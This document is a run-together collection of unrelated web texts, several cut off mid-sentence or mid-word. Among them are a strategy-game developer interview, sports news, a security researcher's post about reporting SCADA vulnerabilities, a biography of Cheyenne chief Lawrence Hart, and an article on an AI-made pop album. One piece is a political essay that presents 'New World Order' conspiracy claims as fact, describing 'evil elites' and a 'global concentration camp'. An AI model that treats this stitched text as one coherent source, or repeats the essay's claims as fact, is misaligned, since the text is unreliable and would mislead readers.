After adding the winter climate, the gameplay mechanics of the original Pacific game have proven quite solid to represent this new conflict. In particular the supply system allows the player to effectively use Finnish "motti" tactics to surround, isolate and destroy pockets of Soviet troops.
Another new and interesting aspect is the frozen lakes and rivers during the winter climate. River combat and movement penalties will no longer exist, and lakes suddenly provide a very flat route toward the enemy. Because units cannot entrench on ice however, these frozen plains often turn into areas of no-man's land between the opposing forces.
And while the terrain is harsh, it does provide more room for manoeuvre compared to the Pacific islands and jungles of previous campaigns. Roads often provide a quick route toward the objective, but can be treacherous with enemy troops hiding on the forest-covered flanks.
3) What was the biggest hardship in representing the type of warfare fought in Finland in World War II in a videogame like Order of Battle?
I wouldn't say there was anything particularly difficult about the Winter War. Aside from the requirement of the winter climate, all the effects on gameplay that come with it, and the specific balancing of individual Soviet and Finnish units we didn't have to do any major changes or additions to the game.
The Order of Battle engine represents the 3 key factors in 20th warfare in an abstracted but detailed manner: a wide range of combat statistics for individual unit types, terrain effects on movement, combat and cohesion and finally supply and logistics. This allows us to cover all conflicts in the period of 1935 to 1945 in a single game, without any of it feeling unrealistic or out of place.
Whole not specifically related to the Winter War, we have also used the opportunity to revise the key statistics of all ground units. This is particularly important to achieve realistic tank vs tank combat results. While this was less of a factor in the Pacific campaigns, it is vital to get the individual performance right for all the panzers, Shermans, T-34s, Tigers and all other armoured vehicles and their variations. Finding and reading details of armour angles and thickness, gun velocity and ammunition penetration values as well as other key aspects such as turret rotation speed and visibility for the crew takes an incredible amount of time. This is certainly the most complicated and intensive job we've had to do for the Winter War update.
4) What do you see next in Order of Battle’s future?
It is no secret that we intend to cover all of World War 2, so without naming any specific themes, players can expect many more content featuring common and less common conflicts in the near future.
As for a more distant future, our plan has always been to keep expanding the Order of Battle engine to cover a wide range of military history, ranging from ancient civilizations to modern warfare. Assets for what will become "Order of Battle II" are already in production, but that is all I can say for now :)Coach Alan Richardson is hopeful Nathan Freeman will play in the pre-season series
ST KILDA supporters might finally get a glimpse of luckless midfielder Nathan Freeman in the forthcoming JLT Community Series.
The 21-year-old is in his fourth year in the AFL system but has yet to play a senior game after a succession of hamstring injuries.
After two fruitless years with Collingwood he crossed to the Saints last year, but apart from some cameo appearances in the VFL, has yet to come close to AFL selection.
But a trip to Germany last year for specialist treatment reaped positive results and with a strong summer behind him, Freeman is inching closer to his St Kilda debut.
"He'll certainly play VFL footy (in the pre-season) and he's a chance to play in the JLT series," St Kilda coach Alan Richardson told AFL.com.au.
"But I'll do the right thing by him and make sure he's physically ready."
Freeman has completed 80 per cent of St Kilda's pre-season campaign and is currently in a down phase to ensure there are no new hiccups.
According to Richardson, Freeman will always be on some sort of modified program but that in itself is no cause for alarm, with up to 10 players on the Saints' list also in a similar position.
"We are really confident he'll be the player we traded for and to complement the bigger guys we have inside," he said.
The Saints open their pre-season campaign against Port Adelaide at Etihad Stadium on February 23, followed by Carlton at Ikon Park on March 4 and Sydney at Lavington Sports Ground on March 12.
AFL and club access members will have free general admission entry to JLT Community Series matches in which their club is competing (subject to availability, upgrade fees may be applicable). Click here to learn more.They’re both easy targets.
If you’ve been paying attention to the security industry for any length of time then you’re probably familiar with the non-disclosure vs responsible disclosure vs full disclosure stances researchers take with regard to vulnerabilities they discover. As the value of vulnerabilities has been steadily going up over the years, more and more individuals and organizations are aligning themselves with the non-disclosure crowd and not for the traditional reasons. These days there seem to be an increasing number of cases of individuals hiding behind non-disclosure for reasons that generally tend to end up revolving around them making more money than reputable outlets provide.
When I read that a new company out of Italy Malta called ReVuln has discovered vulnerabilities in SCADA software and decided not to inform the affected vendors, but rather sell the information privately to their customers, I was intrigued.
Here is some of the press coverage they received:
Security Firm Showcases Vulnerabilities in SCADA Software, Won’t Report Them to Vendors
ReVuln claims 0day vulnerabilities for SCADA systems
Security Firm ReVuln Showcases SCADA Zero-Days
ReVuln showcases vulnerabilities in SCADA software, but won’t report them to vendors
Exploit broker releases EXPLICIT VIDS of holes in industrial control kit
As ReVuln founder Luigi Auriemma is quoted as saying:
“ICS-CERT has just contacted us some minutes ago requesting more details but we don’t release information,” “[The vulnerabilities] are part of our portfolio for our customers so no public details will be released; they will remain private.”
For those of you who do not know, SCADA systems run things like power plants, airports, manufacturing facilities, and so on (read the wikipedia page for more info). While these may not be defined as “Internet infrastructure”, I would argue that they are even more crucial to the safety and security of the general populace (especially when you think about the national security implications of vulnerabilities in these systems).
On Thanksgiving day I had a morning’s worth of time to wait for a turkey to cook, so I decided to take a shot at finding as many SCADA 0day vulnerabilities as possible. As we at Exodus we responsibly report all vulnerabilities we deal with, my goal was to report any such findings for free to ICS-CERT, the group responsible for collaborating with SCADA vendors to ensure vulnerabilities are fixed.
Here’s a list of the vendors and types of vulnerabilities I found (23 in all):
Rockwell Automation 1 remote code execution vulnerability
1 denial of service vulnerabilty
discovery that one piece of Rockwell software installs Adobe Reader 8 which is susceptible to an innumerable amount of remote code execution flaws Schneider Electric 3 remote code execution vulnerabilities
1 denial of service vulnerability Indusoft 1 denial of service vulnerability RealFlex 8 denial of service vulnerabilities Eaton Corporation 3 remote code execution vulnerabilities
2 denial of service vulnerabilities
1 arbitrary file download vulnerability
1 arbitrary file deletion vulnerability
1 arbitrary file upload/overwrite vulnerability
The most interesting thing about these bugs was how trivial they were to find. The first exploitable 0day took a mere 7 minutes to discover from the time the software was installed. For someone who has spent a lot of time auditing software used in the enterprise and consumer space, SCADA was absurdly simple in comparison. The most difficult part of finding SCADA vulnerabilities seems to be locating the software itself. I plan to put in a request to the ICS-CERT that they perhaps establish a repository of SCADA software for researchers like myself to audit (provided they agree to disclose the vulnerabilities, that is). Even a list of what software is of interest would be beneficial.
All of the vulnerabilities listed above will be responsibly disclosed to the ICS-CERT team just following the publication of this post.
Now, I realize I haven’t found nearly all the vulnerabilities in these products, but hopefully there is some overlap with those that were never going to end up in the hands of those able to fix them. I will probably take another (longer than one morning) shot at similar software sometime in the future, but for now it was just a nice way to pass the time.
Happy Thanksgiving.
—
Aaron
@aaronportnoy“Sovereignty...as understood in the Declaration of Independence was originally, and by nature, the equal and unalienable possession of individual human beings. The original equality of all human beings was an equality of sovereignty; no man had more right to rule another than the other had to rule him.” ― Harry V. Jaffa Defending National Sovereignty from the NWO In a world that is virtually unrecognizable from the universal principles that underpinned Western Civilization, the fundamental concept of national sovereignty is being attacked as a relic of a former age. The New World Order is designed to eliminate the self-government of sovereign nations. While individuals live under the domain of established states, the fact that specific regimes operate within and often under the auspices of international hegemony that routinely violates the independence of specific countries is undeniable. The “world community” is not a voluntary association of collaborating governments; it is a euphemism of a top down despotic authoritarian system for global control and punishment for uncooperative governments. When the United Nations was established after World War II, the true objective of destroying the axis of competing Neo Global Totalitarianism exposed its real path and agenda for worldwide domination. The New World Order emerged with the full blessing of the United States. An uninterrupted march towards imposing the will of global elites upon individual countries has been the results from setting into motion the forces of internationalism. America has been totally betrayed by our designated and appointed officials during the decades of systematic dismantling of our independence and economic prosperity. With this assault against the nation-state, the peoples of the world have been herded into a global concentration camp that far exceeds the wildest dreams of the Nazi SS. NATIONAL SOVEREIGNTY: WHY IT IS WORTH DEFENDING by Cornell professor Jeremy Rabkin, who provides a compelling argument. Review his book, The Case for Sovereignty. “Many people criticize national sovereignty as implying that there is no appeal beyond the sovereign state. But there is always some appeal, because there are always other states offering competing examples and places of refuge for those fleeing the most onerous policies of particular states. The idea of national sovereignty is inseparable from the idea of a multitude of sovereignties, hence there is some possibility for choice, which implies the possibility of mistakes or wrong choices which others may avoid. Where there is least chance for appeal is from a world that is governed by one and only one set of world standards.” Now what happens when the planet rushes towards a one world government? Jeremy Rabkin continues on some pressing questions in the interview, A Defense of Sovereignty. “All members of the EU have now bound themselves to a scheme in which the European Court of Justice treats mere treaties as superior to national constitutions–and national courts give priority to the rulings of this European Court, even against their own parliaments and their own national constitutions. This is way, way, way, beyond anything we could accept in America. To find an analogy, you must imagine that NAFTA officials in Montreal claim the authority to override the U.S. Congress and the U.S. Supreme Court–and federal judges in America agree that the NAFTA policy must take priority. What makes the European scheme particularly bizarre–at least from our point of view–is that Europeans aren’t really prepared to pursue their “Union” to its logical conclusion. They don’t trust the EU to have an army or police or even criminal courts of its own. So Europeans are entrusting supremacy to a government they don’t really trust–at least not enough to entrust with traditional attributes of sovereignty.” Americans are not much different from their European cousins. They no longer trust the political class. Selected leaders are not elected but must pass a screening process to gain office. They do not protect the common culture and national integrity, but only serve the interest of the globalists. Steven Groves asks, Why Does Sovereignty Matter to America? “A people subject to foreign taxation, or to being transported across the seas to face criminal charges in a foreign land, are not truly independent. In the Declaration, the Founding Fathers gave notice that these infringements on American sovereignty would not stand. But today, our sovereignty faces new threats. International organizations and courts seek to reshape the international system. Nations are to give up their sovereignty and be governed by a “global consensus.” Independent, sovereign nations will be replaced by “transnational” organizations that reject national sovereignty. The demand that the United States bow to this “global consensus” does not respect American sovereignty. The offenses the Founders complained of in the Declaration of Independence now have an international flavor. This new project is filled with examples of institutions, courts, and “taxes” that violate the spirit of the Declaration:” Some traditionalist cast the dilemma in a framework that no longer applies in a world where counties are unable, and certainly unwilling, to wage war against hostile governments. The Thomas More Law Center promotes a Just War viewpoint in their Defending National Security introduction. “The Thomas More Law Center supports America’s First Military Principles of Virtue, Honor, Patriotism and Subordination, established by John Adams in 1775. The U.S. military is the most effective fighting force in the history of the world, and it is the only institution Americans can depend on to defend our Nation and our Constitution. The Law Center opposes any attempt to downsize, degrade or dismantle the combat effectiveness of our Armed Forces. The Law Center opposes any attempt to surrender our national sovereignty to the United Nations or any other international organization. In addition, the Law Center supports the right of States to protect their borders against the massive invasion of illegal immigrants.” Posing a dialectic nature between national sovereignty and the NWO misses the most important aspect of the post WWII migration into a global gulag. Primary elements behind the organization of the New World Order are the evil elites that actually run and dictate their master plan on America itself. Long before the American Revolution, the European dynasties of cosmic control lusted for total domination. America, from its inception posed the last best hope for humanity. The persistent and methodical encroachment into the very fabric of independent self-government has been part of the eternal struggle, which was transplanted into the new world. Over the centuries the disease of populace subjugation grew with each succeeding generation. The breakdown of awareness and the sapping of the will to resist the drive to impose governance in place of self-determination has resulted in the internationalization of the body politik. Efforts like that of THE CENTER FOR SOVEREIGNTY & SECURITY, have a noble objective. “An informed and engaged citizenry is vital to the health of our Republic. Freedom Alliance’s Center for Sovereignty and Security educates lawmakers, opinion leaders, and the public at large on a host of issues – particularly those that relate to national sovereignty, national security, and constitutional government.” However, it is a losing battle to view the conflict in a simple us against them context. When the us is a primary director of the global tyranny, how can our own government be trusted to direct its energies to abolish the NWO traitors that have become the actual architects of the globalist system of aristocratic privilege. Because of this fundamental quandary, informed and |
ises his athleticism to break forward and support the attack having been involved in three league goals this season, including a stunning second half strike at Anfield this past weekend.
Yet it’s not just Lallana’s tireless running that makes him such a key figure for Klopp. Having dropped into a deeper midfield role, he has the footballing brain to pick the right pass at the right time, with an average of 1.8 key passes per game the fourth best of all Liverpool players. 2.3 dribbles per game is second only to Mane of all players at the club, with the England international a tidy performer in possession. He’s indeed an efficient link between the midfield and attack and Liverpool are prospering as a result of his impact in the middle of the park.
The defence requires work, of that there is no doubt, but Liverpool are arguably one of the Premier League’s most enjoyable teams at this point in time. The players all seem to have fully bought into Klopp’s philosophy and, while it’s unlikely they will be lifting the Premier League trophy next May, a lack of European football means a top-four pursuit is very on the cards.
Ben McAleer
All statistics courtesy of WhoScored.com, where you can find yet more stats, including live in-game data and unique player and team ratings. You can follow all the scores, statistics, live player and team ratings with the new free-to-download WhoScored iOS app.The New Orleans Saints will take on the Atlanta Falcons in the Superdome on Monday night. The game will go down almost exactly 10 years after the boys in black and gold celebrated their post-Katrina return to the same stadium with a triumphant victory over the same team.
I originally intended to honor this anniversary by making U2 and Green Day’s rendition of “The Saints Are Coming”–which was recorded for that fateful day 10 years ago–the newest Song of the Week, but former OffBeat Web Editor Alex Rawls already wrote the definitive story on that piece of music/sports history for My Spilt Milk, so there’s no need to dive into that one. Instead I’ll be taking a look at Miles Davis’ 1957 rendition of the jazz standard “Bye Bye Blackbird.”
The Saints’ season isn’t looking too hot right now. With a record of 0-2, it’s going to be an uphill battle to win our division. But beating the Falcons is about more than wins and losses. It’s about pride. These are the Dirty Birds we’re talking about–the Saints’ longtime rivals and representatives of an objectively inferior Southern metropolis. If all goes well they’ll be flying back to Atlanta on Monday night with their tail feathers between their legs. And that’s why “Bye Bye Blackbird” is our Saints Songs of the Week.
Originally penned by Ray Henderson and Mort Dixon in 1926, “Bye Bye Blackbird” has been tackled by countless artists in the ensuing decades. I’ve decided to go with this version from Miles Davis’ album ‘Round About Midnight because, while Davis may not be the best representative of New Orleans, he’s a damn fine representative of jazz. It’s also an instrumental rendition, so we don’t have to be sidetracked by the fact that the lyrics have no connection to anything resembling football.
Enjoy!Roger Stone, a longtime Republican political operative and current ally of Donald Trump, on Monday said the GOP nominee should release his tax returns right away.
“Yes, I think he should release his tax returns immediately,” Stone said in a radio interview with the “Fernand Amandi Show,” according to BuzzFeed News, when asked if Trump was making a mistake by not doing so.
Trump and his campaign have offered myriad excuses for not making the records available to the public ― a tradition followed by major party nominees for decades.
The businessman has repeatedly cited an ongoing audit by the Internal Revenue Service as a reason as to why he couldn’t release the returns. The IRS, however, has said individuals are not prohibited from sharing tax information while being audited. President Richard Nixon released his tax returns during an audit. Moreover, there is nothing stopping Trump from releasing previous returns for years not currently under audit.
Over the weekend, newly minted Trump campaign manager Kellyanne Conway said Trump would not release his tax returns until the IRS audit is complete, despite previously calling on him to make the information available while working for a super PAC supporting Texas Sen. Ted Cruz (R).
Back in May, former Trump campaign manager Corey Lewandowski also claimed there was “nothing to learn” from the tax returns. The opposition to the release of the records was maintained by his successor, Paul Manafort, who was pushed out of the campaign last week amid revelations he secretly lobbied on behalf of Ukraine’s pro-Russian government in 2014.
RELATED CONTENT Even Donald Trump's Supporters Are Telling Him To Release His Tax Returns
Stone isn’t the first Trump supporter to call on the GOP nominee to release his tax returns. Earlier this month, Rep. Mark Sanford (R-S.C.) wrote a Sunday New York Times op-ed titled “I Support You, Donald Trump. Now Release Your Tax Returns.” The congressman noted his continued ability to support Trump will “in part be driven by whether Mr. Trump keeps his word that he will release his tax records.”
But the break in messaging is somewhat surprising for Stone, a longtime friend of Trump who quit his campaign last summer. The hard-nosed GOP operative regularly peddles conspiracy theories about Hillary and Bill Clinton. He previously “confirmed” that Cruz’s father was involved in the Kennedy assassination, and called for Vermont Sen. Bernie Sanders (I) to be shot for treason.
Clinton’s campaign began airing a new ad last week attacking Trump for not releasing his tax returns despite saying in 2014 he “absolutely” would do so. She and her running mate, Virginia Sen. Tim Kaine, also released their returns in an effort to pressure their Republican opponent to do the same.1.1. 2011 1,660 read
Lawrence Hart has worked to bring reconciliation between two peoples—Cheyenne and Mennonite.
One of the last battles between Native tribes on the Plains and the new inhabitants of those Plains occurred at Adobe Walls in Texas in 1874, the same year that the railroad
delivered Mennonites in droves to Kansas to settle on the Plains. Cheyenne warriors had participated in that battle and were arrested and removed from the Plains in larger numbers than were warriors from any other tribe. The destinies of the Southern Cheyennes would be linked with these incoming Mennonites in Oklahoma schools, missions, churches and, eventually, in the person of principal Peace Chief of the Cheyennes and Mennonite minister Lawrence Hart.
Lawrence Hart was born into the Cheyenne tribal community on his family’s allotment near Hammon, Okla., in 1933 during the hard years of the Depression. The sixth child of Homer and Jennie Hart, he was delivered and taken to her own home by the midwife for the tribe, Cornstalk, his paternal grandmother, when his mother was too ill to care for him. He spent his childhood years with his paternal grandparents, Corn Stalk and Chief John P. Hart (formerly Peak Heart, but the name was changed after he attended Carlisle Indian Boarding School in Pennsylvania).
Because he lived with his grandparents across the yard from his parents’ home, the young Lawrence spoke Cheyenne; his grandmother never learned to speak English. His grandfather, Chief John P. Hart, was the son of Afraid of Beavers and Walking Woman, both survivors of the massacre of the village of the great Peace Chief Black Kettle on the Washita River in Oklahoma in 1868. Chief John P. Hart handpicked Lawrence to teach him the ways of the Cheyenne people. When Lawrence reached school age, his parents came to his grandparents bearing gifts of gratitude for their help in rearing him during his early years and brought Lawrence home to put him in the local school where he learned to speak English. Lawrence remained close to his grandfather, traveling with him during the summers, when, as a peacemaker between tribes and well-known missionary of the Native American Church, Chief John P. Hart conducted services with the Ute Mountain Utes in Colorado and around the Four Corners region in Colorado.
Lawrence’s parents, Homer and Jennie Hart, were able to survive the Depression on their family’s allotment. They also provided key support as lay ministers in the local Hammon Mennonite Church, where Lawrence grew up. Homer Hart, who translated for the missionary pastors, preached in Hammon and surrounding areas for 40 years.
Selected for his helper at age 12 by Rev. H.J. Kliewer, the first pastor to the Hammon Church, Homer had converted to Christianity and become an active Mennonite by age 17. The first baptisms at Hammon had been performed by Rudolphe Petter, the Swiss Mennonite linguist who would translate the Bible into Cheyenne and write the Cheyenne dictionary. Lawrence tells the story of his older brother Sam and him as high school age teens listening carefully to their father each time he was called upon to translate an entire sermon from English to Cheyenne, not line by line, but in its entirety, during which they were never able to catch him omitting a single story or illustration from the missionary’s original English version.
Rev. Arthur Friesen, Lawrence Hart’s pastor during his high school years at Hammon High School, would send Lawrence into the Mennonite world. When he and Lawrence discussed colleges, Rev. Friesen mentioned that there was Bacone
Indian College in eastern Oklahoma, which he believed to be a fine school, but there was also his own alma mater, Bethel College, which he told Lawrence was an excellent college. Pastor Friesen remembered the young Lawrence saying that since he would have to live with white people, he might as well start. Thus, Lawrence attended Bethel College in North Newton, Kan., for two years, 1953-55, before he left to realize his dream of flying jet fighter planes in the Navy. He married fellow Bethel College student Betty Bartel, a young Mennonite woman of the Bruderthal Church of Hillsboro, Kan., and they became partners in church and tribal work.
When Grandfather Chief John P. Hart died, Lawrence was called out of the military to become a Peace Chief of the Cheyennes—after which he returned to finish his history degree at Bethel and go on to study at Associated Mennonite Biblical Seminary in Elkhart, Ind., to become a Mennonite pastor. Thus, he grew into a principal Peace Chief to the Cheyennes, a Mennonite pastor at Koinonia Church near Clinton, Okla., and a leader in the Mennonite church. He has spent his life negotiating this delicate stance, one foot in the Cheyenne world, one foot in the Mennonite world, a sometimes prophet to his mixed flock. Always he has served as peacemaker, cultivating the traditions of servanthood in the peace chief tradition, reinterpreting Bible stories for Mennonites and Cheyennes to help his diverse flocks understand the tribal Jesus he knows. He has taken on a myriad of roles as peacemaker: chief, preacher, orator, negotiator, testifier, surveyor, protester, cultural historian, carpenter and more.
Lawrence Hart still remembers the Mennonite gathering in Fresno, Calif., where as a young pastor he told for the first time the story that changed his life and helped him understand the servant leadership he would be called to practice. Peace testimonials were called for, and Lawrence found himself going forward to take the microphone. His story of the reenactment on the Washita, an event that occurred in 1968, 100 years after the massacre of his people on that site, would presage the work Chief Hart would be called to do in the Return to the Earth project in later years.
Lawrence and Betty Hart and their two young children, Connie and Nathan—youngest daughter Christina was not yet born—had agreed to participate with the Cheyenne people in a commemorative historical reenactment of the Washita Battle of 1868 on the condition that the local museum in Cheyenne, Okla., bury the Cheyenne remains that had been recovered from that battle but were still in the museum. The Cheyenne people set up tipis on the original site of the battle beside the Washita River and appeared in their traditional garb. But they had not been told that the Grandsons of General Custer’s Seventh Cavalry from California would be in attendance, and there was an ugly scene far too real as the Grandsons came thundering in on horseback firing weapons, the Cheyenne children screaming in terror. The Cavalry even played the battle tune, “Garry Owen,” that their grandfathers had used on that fateful day 100 years earlier. Finally, the enactment over, the old chiefs huddled with Lawrence, a young chief, and made their way into Cheyenne to the museum to bury the remains as they had promised, with the careful dignity and ceremonial songs mandated by Cheyenne tradition. Again, the Grandsons of the Seventh Cavalry showed up to salute, and the young Chief Lawrence Hart was horrified that they would tread on this hallowed ground to salute one their grandfathers had killed.
Then, as the small coffin was carried by the crowd to the burial site, a young woman, Lucille Young Bull, respectfully stepped out of the crowd and placed a blanket over the coffin. Cheyenne tradition mandated that this blanket be given to someone in attendance before the burial, someone like the governor of Oklahoma, who was in attendance that day. However, the old chiefs instructed young Chief Hart to call forward Captain Eric Gault, the commander of the Grandsons: They chose him to wrap in the blanket. Onlookers were moved powerfully by the wisdom of the old chiefs—as was the Captain, who took the “Garry Owen” pin from his uniform and handed it to Chief Hart to accept for his people, promising that the Cheyenne people would never again hear this battle song.
Years later, as a NAGPRA (Native American Graves Protection and Repatriation Act) reviewer, Chief Lawrence Hart discovered that there were thousands of Native remains on shelves in museums in the United States, and he took as his mission the work of burying them with dignity— enlisting the aid of Mennonite Central Committee and denominations all over the country in the ongoing project designated “Return to the Earth.” Chief Hart has established a site at the Cheyenne Cultural Center outside Clinton, Okla., as a place where up to 25,000 of the remains, still unidentified and thus unclaimed by the tribes, might be returned to the earth. Convinced that they might perform some small act of restorative justice through their action, Mennonites with other denominations are studying the MCC study guide on the Return to the Earth project, building cedar boxes and cutting muslin cloths to hold Native remains for burial.
Working with Betty, Lawrence has found ways to bring together the peace traditions of the Cheyennes and the Mennonites with a view toward reconciliation. He remembers long conversations with college friend Larry Kaufman as he struggled with the pacifist approach the Mennonites taught in a church history course he took while a student at Bethel. Later, he experienced a profound sense of call upon learning of Larry’s death by drowning in the Congo in 1956 as part of the first group of PAX men to serve in the Congo. Lawrence later said he determined that if he were to lose his life, he wanted to lose it as his friend Larry Kaufman had, in the cause of peace. As a peace chief, too, he was called by the Cheyenne tradition to a life of service and peace in which revenge was forbidden.
In 2004, Lawrence Hart brought his friend Howard Zehr with his Little Book of Restorative Justice to the Sovereignty Symposium in Oklahoma City to the annual meeting of the tribes and Oklahoma legal experts to discuss the Cheyenne way of justice. The Cheyenne Way (Llewelyn and Hoebel, 1941) had long been studied by experts and is still used today in legal studies. Lawrence himself had built that winter the red cedar stands that held the pictures and case stories detailing the Cheyenne way practiced by his tribe. Howard Zehr discussed the concept of restorative justice and as an international expert confirmed Lawrence’s belief that the Cheyenne people did indeed practice concepts of restorative justice. Then, as preacher and Cheyenne peace chief, Lawrence Hart closed the discussion at the Symposium, showing how the Hebrew tradition of justice dovetails with Cheyenne justice, neither being Anglo models. In the Cheyenne stories depicted in the display, the audience could witness the Cheyenne practice of making a way for the offender to re-enter the tribe.
For more than 40 years, working together with Betty, Lawrence has pastored Koinonia Mennonite Church, just outside Clinton, Okla., with Cheyenne worshippers. Nearby they built the Cheyenne Cultural Center, and from those two locations they have hosted hundreds of people to teach history, tradition and ritual—both Mennonite and Cheyenne. In a major undertaking in 2006, underwritten and planned by the Mennonite Church USA Historical Committee, that brought together people from across the United States, Lawrence and Betty Hart led the planning and hosting of “Cheyenne, Arapaho, Mennonite: Journey from Darlington,” a conference in Clinton, Okla., to celebrate and review the interconnected faith stories of the Native tribes and the first Mennonite mission that had begun 120 years earlier. (See April 18, 2006, page 19.)
In 2000, at the Native Assembly gathered on the Hopi Reservation in Arizona, Hart delivered a compelling manifesto he titled “Culture and Christianity,” Hart’s answer to the questions of Christ and culture. He spoke of a tribal Jesus too often whitewashed in the Euro-Western reading of the Scriptures. The Jesus way he explicated for his mostly Native audience described a tribal Jesus who healed by using rituals akin to those used by the Cheyenne people. Hart cited Mark 8, where Jesus uses his own spittle to heal a blind man as the Cheyennes use spittle in purification ceremonies. Jesus’ sojourn on earth as a tribal person manifests God’s choice to reveal himself in a way no televangelist in a luxurious sanctuary will ever understand, Hart said. Rather, this Jesus, born in a manger with dust on his feet, was not Anglo; tribal lenses for viewing Jesus’ ministry have a better chance than the Anglo lens for seeing Jesus for who he was.
Hart concluded that address as he does so much of his oratory—with a lament for both Cheyennes and Mennonites who have lost their respect for and connection to the earth. Hart as historian often recalls that songs sung in the Cheyenne tradition to express the Christian faith must be connected to the earth. Though an English version of a song may not include reference to the earth, the Cheyenne translation must recognize the sacred earth. He cites the old German Christmas carol, “Silent Night,” translated by Rudolphe Petter, the Swiss missionary linguist, aided by informant Harvey Whiteshield. For Hart the Incarnation is an impossible concept without the Cheyenne word for earth, “ho ‘e va,” embedded in its expression. The axis mundi too, that center pole that stands for a connection between heaven and earth in tribal ritual, is an understanding central to Lawrence Hart’s theology that God’s love comes to touch his people where they are on earth. Hart reads John’s vision quest in the book of Revelation as a heavenly manifestation of humanity’s myriad cultural forms of worship.
Creativity may be the greatest attribute of the peacemaker. In the person of Lawrence Hart, envisioning peace has meant reinterpreting history, reimagining the biblical story, bringing to Anabaptist theology the tribal views he learned as a child. Even as his own life has moved between Native and dominant cultures, military and pacifist, government and populist, he is able to bring together unlikely elements for a new vision of the possible. Not until he could compare the Washita site where his ancestors died to the Oklahoma City bombing of the Murrah Building was he able to convince those in the Senate hearings to secure those grounds as a national historic site. He has compared the martyrdom of Chief Black Kettle in the Washita River to that of the Anabaptist Felix Mantz, who was drowned in the cold waters of the Limmat in Zurich. He called on Amish craftsmen for help in building the cedar boxes to remove his ancestors’ remains from the Smithsonian in Washington, D.C. He sees in the Cheyenne priest who blesses the earth toward the four directions the words of the Psalmist. Chief Hart’s oratory, which so often fuses cultures and rituals, eras in time, the public and the sacred, the denominational and the tribal, is powerful in its testimony to the life he himself has lived in complete humility as both warrior and peacemaker, servant and chief, statesman and prophet.Taryn Southern’s pop music career nearly ended in 2004, during a very brief stint on American Idol at the age of 17. After making it to the Hollywood week round and cracking the Top 50, Southern was booted after forgetting the lyrics to her song in an inexplicable bout of stage fright. Simon Cowell would tell her, “Taryn Southern, it’s such a shame, because you have the name of a star.”
“Imagine the worst nightmare you could have over and over as a kid,” Southern tells Inverse. “Then it happens.” Through laughs, she describes what a mortifying experience this was back in 2004. Luckily for her, “this was before YouTube, so you can’t find the original footage online,” she laughs.
Thirteen years on, Southern is about as far from American Idol as you might get, and this was perhaps only possible because she flubbed her performance so badly. She’s still making pop music, but pioneering the most improbable and innovative way to make it. Southern’s upcoming album will be a record made of music entirely written and composed by artificial intelligence (except her own voice).
The video for its first single, “Break Free”, uses visual art rendered by Google DeepDream.
In a lot of ways, losing out on the chance of success through American Idol has laid out a path by which Southern may end up clinching her claim to fame through something much more consequential. She is effectively one of a few trailblazers looking to make A.I.-generated music a mainstream tool of the commercial masses, more than just a gimmick to differentiate her in a crowded field.
Growing up, Southern says she “never really had any serious formal music training” other than a few piano lessons and had trouble turning the instrumentation percolating in her head into music. It’s precisely what attracted her to using A.I. to create the backing music for vocal melodies.
Musicians are no stranger to A.I. — Google debuted its music-synthesizing A.I. program at Moogfest in May, and there are other A.I. melody makers, even if the process by which they are made is completely artificial. Nevertheless, A.I. tools for musicians are still limited to the realm of electronic and experimental genres.
Southern aims to change of all of that soon enough.
After the American Idol epiosde, Southern swore off ambitions to become a pop sensation. As the years passed, she found a creative outlet in acting and comedy, and began to inject music into the mix to create musical comedy videos for the internet.
“The first YouTube video I ever made was a comedy music video,” she says. “It wasn’t really for making music, it was just a way to express the comedy.” She made around two-dozen musical comedy videos over the next five years, selling one pilot to MTV.
The process of making these comedy videos reminded her of her own limitations: “I was always frustrated by my inability to actually play instruments on my own and produce myself,” says Southern. “I always had to work with someone else to bring my vision to life. Sometimes that was an amazing process — working with a collaborative human who makes your vision better — and other times it was painful, frustrating, and expensive.”
The language by which Southern describes her work is methodical and taut, veering on the kind of technical lexicon you might hear from an engineer or scientist. “The creative process is always burdened by logistical challenges,” Southern says. “When you’re in flow, and you’re writing or painting or whatever your creative craft is, you have something that abruptly stops that flow because you don’t have the correct output mechanism. It’s incredibly frustrating.”
An anthropologist by trade, Southern has an obsession with social science and neuroscience, and loves to dig into the way by which these worlds clash with the emergent ubiquity of technology in the modern world. In fact, she calls her new album, I AM AI, a platform through which she can explore these larger issues and questions — albeit through a pop-friendly filter for listeners.
“The whole album is an exploration of what it will mean to be human later,” she says. “These are things I think about all the time. I think about how a person in the future might write a song.”
Meet the A.I.
After reading about the A.I. software FlowMachines and the Beatles-inspired song the system developed, Southern began tinkering around with NSynth, and started running into more professional systems like Amper A.I., Jukedeck, and others.
“It started out as this creative challenge — to see what I could do with these new tools to create pop songs. But I couldn’t quite figure out how to make complete songs out of them.”
Southern decided she wanted to make an entire album using these A.I. programs. She used Amper A.I. for the majority of the tracks she produced, though she says other tracks made using other tools will be included on the final tracklist for the album.
“The future of music will be created through a collaboration between humans and A.I.”
“We had a very strong belief that the future of music would be created through a collaboration between humans and A.I.,” Drew Silverstein, a music composer and co-founder and CEO of Amper, tells Inverse. He says the software was initially launched to help composers like him create customizable tracks for movies, television shows, commercials, and other projects — but there was always a larger goal to technology to new music creation for any sort of purpose.
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“Our initial use case is largely for functional music,” says Silverstein. “At the same time, we believed then, and still believe now, Amper’s A.I. can be an incredible collaborative tool for artists, like Taryn. When you think about human collaboration and creativity, you can basically put that on steroids when you’re using A.I.”
Southern is one of the first artists to take A.I. music software and use it exclusively for an artistic purpose.
“Amper has the simplest interface combined with the most amount of customizability on the user’s side,” says Southern. This is pretty evident right off the bat — a user just has to input the genre, desired bit-per-minute rate, mood, key, instrumentation, and hit the “render” button to create a track.
Within five minutes, I used the simple version to create this 60-second “tender ‘90s pop” track, heavy on moody synths and light on percussion.
Southern says she likes to begin with a skeleton beat and chord structure that sounds good (“usually takes between six to 10 renders,” she says) and then move into playing around further with the instrumentation and other presets to fill in more of a particular sound that she sounds emotes something for her.
For someone like Southern who’s a little more well-versed in song creation, a user would want to take snippets of these tunes and stitch them together into a song that has a complete beginning, middle, and end, with a natural pop progression. While most programs require you to do this manually, Amper’s system already allows users to easily cut and paste snippets together without the need for an external application like Garage Band or Pro Tools.
Of course, these programs are fairly new, and have their limitations. When using Amper to create songs, for example, Southern corresponded with the company almost nonstop in order to figure out all of the program’s capabilities and push its technological potentials to their limits. “I was breaking their software,” she says, “because I was rendering out so much. One song had like 150 renders, and it got to the point where it couldn’t render itself out anymore.”
Amper was very enthusiastic to work to with Southern, and say her work with the software is precisely what they see as the future of music. Silverstein says the company’s interface is not yet advanced enough to really fulfill what a lot of professional musicians want, but he and his team are making headway.
